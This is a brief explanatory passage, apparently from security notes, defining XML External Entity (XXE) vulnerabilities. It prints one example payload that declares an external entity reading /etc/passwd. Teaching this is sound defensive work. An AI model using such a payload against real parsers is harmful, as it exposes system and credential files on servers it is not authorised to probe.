What is it
XXE = XML eXternal Entities
XXE can occur when XML documents get parsed. We traditionally think of XXE vulnerabilities as uploading an XML file that includes an external entity, an example of this would be:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
